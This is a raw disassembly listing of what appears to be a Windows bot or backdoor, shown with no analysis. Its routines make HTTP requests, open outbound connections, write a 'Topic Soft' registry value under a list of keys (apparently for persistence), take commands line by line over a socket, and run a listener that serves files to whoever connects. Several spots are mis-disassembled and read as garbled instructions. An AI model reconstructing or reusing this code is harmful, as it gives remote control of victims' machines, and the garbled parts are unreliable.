var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_42B950
		call	sub_415550
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_415550
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_415550
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_415550
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_415550
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	ds:dword_43A280	; InternetCrackUrlA
		test	eax, eax
		jz	loc_40AFC9
		cmp	[ebp+var_34], ebx
		jbe	short loc_40AF06
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_416D20
		add	esp, 0Ch


loc_40AF06:				; CODE XREF: sub_40AE2F+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_40AF24
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_416D20
		add	esp, 0Ch


loc_40AF24:				; CODE XREF: sub_40AE2F+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_40AF3E
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_416D20
		add	esp, 0Ch


loc_40AF3E:				; CODE XREF: sub_40AE2F+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_40AF58
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_416D20
		add	esp, 0Ch


loc_40AF58:				; CODE XREF: sub_40AE2F+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	ds:dword_43A328
		call	ds:dword_43A34C	; InternetConnectA
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_40AFE1
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	ds:dword_43A340	; HttpOpenRequestA
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_40AFE8
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	ds:dword_43A2F4	; HttpSendRequestA
		test	eax, eax
		jz	short loc_40AFC2
		push	offset dword_42B920
		jmp	short loc_40AFED
; ---------------------------------------------------------------------------


loc_40AFC2:				; CODE XREF: sub_40AE2F+18Aj
		push	offset unk_42B8D0
		jmp	short loc_40AFED
; ---------------------------------------------------------------------------


loc_40AFC9:				; CODE XREF: sub_40AE2F+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_42B8A0
		push	eax
		call	sub_4154CD
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_40AFFB
; ---------------------------------------------------------------------------


loc_40AFE1:				; CODE XREF: sub_40AE2F+153j
		push	offset unk_42B860
		jmp	short loc_40AFED
; ---------------------------------------------------------------------------


loc_40AFE8:				; CODE XREF: sub_40AE2F+17Bj
		push	offset unk_42B81C


loc_40AFED:				; CODE XREF: sub_40AE2F+191j
					; sub_40AE2F+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx


loc_40AFFB:				; CODE XREF: sub_40AE2F+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_40B026
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_412D32
		add	esp, 14h


loc_40B026:				; CODE XREF: sub_40AE2F+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_40B151
		pop	ecx
		push	esi
		call	ds:dword_43A3AC	; InternetCloseHandle
		push	[ebp+var_4]
		call	ds:dword_43A3AC	; InternetCloseHandle
		push	[ebp+var_1D8]
		call	sub_415295
		pop	ecx
		push	ebx
		call	near ptr 3D0000h
		das
		pop	edi
		pop	esi
		pop	ebx
sub_40AE2F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B059	proc near		; CODE XREF: seg000:0041118Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43E788
		mov	edi, 0B8h


loc_40B06D:				; CODE XREF: sub_40B059+33j
		cmp	byte ptr [esi],	0
		jz	short loc_40B090
		push	[ebp+arg_0]
		push	esi
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B090
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43F308
		jl	short loc_40B06D
		jmp	short loc_40B0D2
; ---------------------------------------------------------------------------


loc_40B090:				; CODE XREF: sub_40B059+17j
					; sub_40B059+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43E788[esi]
		push	ebx
		call	sub_415550
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_416D20
		push	9Fh
		lea	eax, dword_43E7A0[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_416D20
		add	esp, 24h
		inc	ds:dword_42E764
		pop	ebx


loc_40B0D2:				; CODE XREF: sub_40B059+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_40B059	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B0D9	proc near		; CODE XREF: seg000:004123C3p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_42B960
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43E788


loc_40B103:				; CODE XREF: sub_40B0D9+72j
		cmp	byte ptr [esi],	0
		jz	short loc_40B13E
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_42B954
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_415A4A
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 2Ch


loc_40B13E:				; CODE XREF: sub_40B0D9+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43F308
		jl	short loc_40B103
		pop	edi
		pop	esi
		leave
		retn
sub_40B0D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B151	proc near		; CODE XREF: start+97p
					; seg000:004013C6p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	ds:dword_42105C	; GetLocalTime
		mov	ebx, offset dword_43E744
		mov	edi, 80h
		mov	esi, offset dword_43A744


loc_40B173:				; CODE XREF: sub_40B151+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_40B18A
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_416D20
		add	esp, 0Ch


loc_40B18A:				; CODE XREF: sub_40B151+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_40B173
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_415A4A
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B151	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B1C5	proc near		; CODE XREF: sub_407BE2+15Bp
					; sub_407D6A+1AFp ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41746F
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_40B151
		add	esp, 14h
		leave
		retn
sub_40B1C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B1F1	proc near		; CODE XREF: seg000:004122BDp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_43A744
		xor	ecx, ecx


loc_40B1F8:				; CODE XREF: sub_40B1F1+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_43E744
		jl	short loc_40B1F8
		cmp	[esp+arg_C], ecx
		push	esi
		mov	esi, offset dword_42B994
		jnz	short loc_40B228
		push	ecx
		push	[esp+8+arg_8]
		push	esi
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		call	sub_412D32
		add	esp, 14h


loc_40B228:				; CODE XREF: sub_40B1F1+1Fj
		push	esi
		call	sub_40B151
		pop	ecx
		pop	esi
		retn
sub_40B1F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B231	proc near		; CODE XREF: sub_4033CB+298p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset dword_43A744


loc_40B237:				; CODE XREF: sub_40B231+27j
		cmp	byte ptr [esi],	0
		jz	short loc_40B24C
		push	[esp+4+arg_0]
		push	esi
		call	sub_409B26
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B25E


loc_40B24C:				; CODE XREF: sub_40B231+9j
		add	esi, 80h
		cmp	esi, offset dword_43E744
		jl	short loc_40B237
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B25E:				; CODE XREF: sub_40B231+19j
		push	1
		pop	eax
		pop	esi
		retn
sub_40B231	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B263	proc near		; DATA XREF: seg000:0041236Do

var_31C		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_8], 80h
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_40B2B6
		push	edx
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	offset dword_42B9FC
		push	eax
		push	[ebp+var_11C]
		call	sub_412D32
		add	esp, 14h


loc_40B2B6:				; CODE XREF: sub_40B263+33j
		cmp	[ebp+var_98], 0
		jz	short loc_40B2D6
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_415A3F
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_40B2D6
		mov	[ebp+var_8], eax


loc_40B2D6:				; CODE XREF: sub_40B263+5Aj
					; sub_40B263+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset dword_43A744


loc_40B2DF:				; CODE XREF: sub_40B263+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_40B339
		cmp	byte ptr [esi],	0
		jz	short loc_40B328
		cmp	[ebp+var_98], 0
		jz	short loc_40B30E
		cmp	[ebp+var_4], 0
		jnz	short loc_40B30E
		lea	eax, [ebp+var_98]
		push	eax
		push	esi
		call	sub_409B26
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B328


loc_40B30E:				; CODE XREF: sub_40B263+90j
					; sub_40B263+96j
		push	edi
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	esi
		push	eax
		push	[ebp+var_11C]
		call	sub_412D32
		add	esp, 14h


loc_40B328:				; CODE XREF: sub_40B263+87j
					; sub_40B263+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset dword_43E744
		jl	short loc_40B2DF


loc_40B339:				; CODE XREF: sub_40B263+82j
		lea	eax, [ebp+var_31C]
		push	offset dword_42B9CC
		push	eax
		call	sub_4154CD
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_10], esi
		pop	ecx
		jnz	short loc_40B373
		push	esi
		lea	eax, [ebp+var_31C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+var_11C]
		call	sub_412D32
		add	esp, 14h


loc_40B373:				; CODE XREF: sub_40B263+EEj
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_40B151
		push	[ebp+var_18]
		call	sub_415295
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 3D0000h
		neg	byte ptr [edi+5Eh]
sub_40B263	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B392	proc near		; CODE XREF: sub_409DF9+1Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_42BA20
		xor	esi, esi
		mov	ebx, offset aTopicSoft ; "Topic	Soft"


loc_40B3A5:				; CODE XREF: sub_40B392+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	ds:dword_43A32C	; RegCreateKeyExA
		cmp	[ebp+arg_0], esi
		jz	short loc_40B3DF
		push	[ebp+arg_0]
		call	sub_415CD0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	ds:dword_43A39C	; RegSetValueExA
		jmp	short loc_40B3E9
; ---------------------------------------------------------------------------


loc_40B3DF:				; CODE XREF: sub_40B392+2Fj
		push	ebx
		push	[ebp+var_4]
		call	ds:dword_43A2E4	; RegDeleteValueA


loc_40B3E9:				; CODE XREF: sub_40B392+4Bj
		push	[ebp+var_4]
		call	ds:dword_43A354	; RegCloseKey
		add	edi, 8
		cmp	edi, offset dword_42BA38
		jl	short loc_40B3A5
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B392	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B402	proc near		; CODE XREF: sub_40B43D+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_40B437
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_40B41B:				; CODE XREF: sub_40B402+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, ds:dword_42125C[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_40B41B
		pop	edi
		pop	ebx


loc_40B437:				; CODE XREF: sub_40B402+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_40B402	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B43D	proc near		; CODE XREF: seg000:0040BF1Dp

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_415DA9
		mov	[esp+10h+var_10], offset aRb ; "rb"
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_415BC8
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_40B48C


loc_40B462:				; CODE XREF: sub_40B43D+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_40B490
		inc	ebx
		push	ebx
		push	esi
		call	sub_4174BF
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40B48C
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_416B90
		add	esp, 10h
		jmp	short loc_40B462
; ---------------------------------------------------------------------------


loc_40B48C:				; CODE XREF: sub_40B43D+23j
					; sub_40B43D+39j
		xor	eax, eax
		jmp	short loc_40B4AB
; ---------------------------------------------------------------------------


loc_40B490:				; CODE XREF: sub_40B43D+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_40B402
		push	esi
		mov	ebx, eax
		call	sub_415E1D
		push	edi
		call	sub_415B20
		add	esp, 10h
		mov	eax, ebx


loc_40B4AB:				; CODE XREF: sub_40B43D+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40B43D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B4AF	proc near		; CODE XREF: seg000:0040B568p
					; seg000:0040BB54p

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	ds:dword_43A3F8	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_40B52B
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_415550
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	ds:dword_43A378	; ntohs
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	ds:dword_43A3B8	; inet_addr
		cmp	eax, esi
		jnz	short loc_40B510
		push	[ebp+arg_0]
		call	ds:dword_43A3FC	; gethostbyname
		test	eax, eax
		jz	short loc_40B52B
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_40B510:				; CODE XREF: sub_40B4AF+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	ds:dword_43A320	; connect
		cmp	eax, esi
		jnz	short loc_40B52F
		push	edi
		call	ds:dword_43A410	; closesocket


loc_40B52B:				; CODE XREF: sub_40B4AF+1Bj
					; sub_40B4AF+58j
		mov	eax, esi
		jmp	short loc_40B531
; ---------------------------------------------------------------------------


loc_40B52F:				; CODE XREF: sub_40B4AF+73j
		mov	eax, edi


loc_40B531:				; CODE XREF: sub_40B4AF+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_40B4AF	endp

; ---------------------------------------------------------------------------


loc_40B535:				; DATA XREF: seg000:0040D8B2o
		push	ebp
		mov	ebp, esp
		mov	eax, 11B4h
		call	sub_415D50
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1B4h]
		rep movsd
		push	1
		pop	esi
		push	dword ptr [ebp-14h]
		mov	[eax+1B0h], esi
		lea	eax, [ebp-1ACh]
		push	eax
		call	sub_40B4AF
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40B5C8
		lea	eax, [ebp-11B4h]
		push	offset dword_42BAC4
		push	eax
		call	sub_4154CD
		xor	edi, edi
		pop	ecx
		cmp	[ebp-8], edi
		pop	ecx
		jnz	short loc_40B5AB
		push	edi
		lea	eax, [ebp-11B4h]
		push	dword ptr [ebp-0Ch]
		push	eax
		lea	eax, [ebp-94h]
		push	eax
		push	ebx
		call	sub_412D32
		add	esp, 14h


loc_40B5AB:				; CODE XREF: seg000:0040B58Ej
		lea	eax, [ebp-11B4h]
		push	eax
		call	sub_40B151
		push	dword ptr [ebp-10h]
		call	sub_415295
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 3D0000h
		inc	esi


loc_40B5C8:				; CODE XREF: seg000:0040B574j
		push	offset byte_438F9C
		push	ebx
		call	sub_40A7E1
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40B633
		lea	eax, [ebp-11B4h]
		push	offset dword_42BA80
		push	eax
		call	sub_4154CD
		xor	edi, edi
		pop	ecx
		cmp	[ebp-8], edi
		pop	ecx
		jnz	short loc_40B60F
		push	edi
		lea	eax, [ebp-11B4h]
		push	dword ptr [ebp-0Ch]
		push	eax
		lea	eax, [ebp-94h]
		push	eax
		push	ebx
		call	sub_412D32
		add	esp, 14h


loc_40B60F:				; CODE XREF: seg000:0040B5F2j
		lea	eax, [ebp-11B4h]
		push	eax
		call	sub_40B151
		pop	ecx
		push	ebx
		call	ds:dword_43A410	; closesocket
		push	dword ptr [ebp-10h]
		call	sub_415295
		pop	ecx
		push	esi
		call	near ptr 3D0000h
		push	edi


loc_40B633:				; CODE XREF: seg000:0040B5D8j
		push	64h
		call	ds:dword_421060	; Sleep
		xor	edi, edi
		mov	esi, 1000h


loc_40B642:				; CODE XREF: seg000:0040B69Dj
		push	esi
		lea	eax, [ebp-11B4h]
		push	edi
		push	eax
		call	sub_415550
		add	esp, 0Ch
		lea	eax, [ebp-11B4h]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	ds:dword_43A390	; recv
		test	eax, eax
		jle	short loc_40B69F
		lea	eax, [ebp-11B4h]
		push	offset asc_426C7C ; "\n"
		push	eax
		call	sub_415BF0
		lea	eax, [ebp-11B4h]
		push	eax
		call	sub_40A5CD
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40B69F
		push	64h
		call	ds:dword_421060	; Sleep
		push	7
		call	sub_4151C1
		test	eax, eax
		pop	ecx
		jnz	short loc_40B642


loc_40B69F:				; CODE XREF: seg000:0040B665j
					; seg000:0040B689j
		lea	eax, [ebp-11B4h]
		push	offset dword_42BA38
		push	eax
		call	sub_4154CD
		cmp	[ebp-8], edi
		pop	ecx
		pop	ecx
		jnz	short loc_40B6D2
		push	edi
		lea	eax, [ebp-11B4h]
		push	dword ptr [ebp-0Ch]
		push	eax
		lea	eax, [ebp-94h]
		push	eax
		push	ebx
		call	sub_412D32
		add	esp, 14h


loc_40B6D2:				; CODE XREF: seg000:0040B6B5j
		lea	eax, [ebp-11B4h]
		push	eax
		call	sub_40B151
		pop	ecx
		push	ebx
		call	ds:dword_43A410	; closesocket
		push	dword ptr [ebp-10h]
		call	sub_415295
		pop	ecx
		push	edi
		call	near ptr 3D0000h
		mov	edx, [ebp-75h]
		in	al, dx
		sub	esp, 0A04h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1FCh]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp-10h], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp-0Ch], esi
		mov	[ebp-20h], esi
		call	ds:dword_43A3F8	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-18h], edi
		jnz	short loc_40B744
		push	offset dword_42BC64
		jmp	loc_40B8FD
; ---------------------------------------------------------------------------


loc_40B744:				; CODE XREF: seg000:0040B738j
		push	10h
		lea	eax, [ebp-30h]
		push	esi
		push	eax
		call	sub_415550
		add	esp, 0Ch
		mov	word ptr [ebp-30h], 2
		push	esi
		call	ds:dword_43A378	; ntohs
		mov	[ebp-2Eh], ax
		lea	eax, [ebp-30h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-2Ch], esi
		call	ds:dword_43A3A4	; bind
		test	eax, eax
		jz	short loc_40B782
		push	offset dword_42BC2C
		jmp	loc_40B8FD
; ---------------------------------------------------------------------------


loc_40B782:				; CODE XREF: seg000:0040B776j
		lea	eax, [ebp-1Ch]
		mov	dword ptr [ebp-1Ch], 10h
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		push	edi
		call	ds:dword_43A31C	; getsockname
		push	dword ptr [ebp-2Eh]
		call	ds:dword_43A2B4	; ntohs
		mov	[ebp-4], eax
		lea	eax, [ebp-1E0h]
		push	eax
		mov	[ebp+8], esi
		call	sub_415CD0
		pop	ecx


loc_40B7B4:				; CODE XREF: seg000:0040B7E5j
		mov	ecx, [ebp+8]
		mov	al, [ebp+ecx-1E0h]
		cmp	al, 20h
		jnz	short loc_40B7C7
		push	5Fh
		pop	eax
		jmp	short loc_40B7CA
; ---------------------------------------------------------------------------


loc_40B7C7:				; CODE XREF: seg000:0040B7C0j
		movsx	eax, al


loc_40B7CA:				; CODE XREF: seg000:0040B7C5j
		mov	[ebp+ecx-604h],	al
		lea	eax, [ebp-1E0h]
		inc	ecx
		push	eax
		mov	[ebp+8], ecx
		call	sub_415CD0
		cmp	[ebp+8], eax
		pop	ecx
		jbe	short loc_40B7B4
		push	ebx
		push	edi
		call	ds:dword_43A3A0	; listen
		test	eax, eax
		jz	short loc_40B7FD
		push	offset dword_42BAC4
		jmp	loc_40B8FD
; ---------------------------------------------------------------------------


loc_40B7FD:				; CODE XREF: seg000:0040B7F1j
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp-1E0h]
		push	80000000h
		push	eax
		call	ds:dword_421078	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_40B827
		push	offset dword_42BBF8
		jmp	loc_40B8FD
; ---------------------------------------------------------------------------


loc_40B827:				; CODE XREF: seg000:0040B81Bj
		push	esi
		push	eax
		call	near ptr 3D0000h
		mov	eax, ds:50084589h
		movzx	eax, word ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_40A155
		pop	ecx
		push	eax
		call	ds:dword_43A3B8	; inet_addr
		push	eax
		call	ds:dword_43A374	; ntohl
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset dword_42BBE0
		push	eax
		call	sub_4154CD
		push	esi
		lea	eax, [ebp-3FCh]
		push	esi
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_412D32
		add	esp, 2Ch
		lea	eax, [ebp-38h]
		mov	dword ptr [ebp-38h], 3Ch
		mov	[ebp-34h], esi
		push	eax
		push	esi
		lea	eax, [ebp-500h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-4FCh], edi
		mov	[ebp-500h], ebx
		call	ds:dword_43A360	; select
		test	eax, eax
		jg	short loc_40B8D7
		push	esi
		lea	eax, [ebp-0DCh]
		push	dword ptr [ebp-54h]
		push	offset dword_42BBB4
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_412D32
		jmp	loc_40B9FB
; ---------------------------------------------------------------------------


loc_40B8D7:				; CODE XREF: seg000:0040B8B5j
		lea	eax, [ebp-14h]
		mov	dword ptr [ebp-14h], 10h
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		push	edi
		call	ds:dword_43A40C	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-1F8h], eax
		jnz	short loc_40B910
		push	offset dword_42BB7C


loc_40B8FD:				; CODE XREF: seg000:0040B73Fj
					; seg000:0040B77Dj ...
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx
		jmp	loc_40B9FE
; ---------------------------------------------------------------------------


loc_40B910:				; CODE XREF: seg000:0040B8F6j
		push	edi
		call	ds:dword_43A410	; closesocket
		cmp	[ebp+8], esi
		jz	loc_40B9C2
		mov	edi, 400h


loc_40B925:				; CODE XREF: seg000:0040B9B9j
		mov	eax, [ebp+8]
		mov	[ebp-4], edi
		cmp	eax, edi
		jge	short loc_40B932
		mov	[ebp-4], eax


loc_40B932:				; CODE XREF: seg000:0040B92Dj
		push	edi
		lea	eax, [ebp-0A04h]
		push	esi
		push	eax
		call	sub_415550
		mov	eax, [ebp+8]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	dword ptr [ebp-8]
		call	ds:dword_4210AC	; SetFilePointer
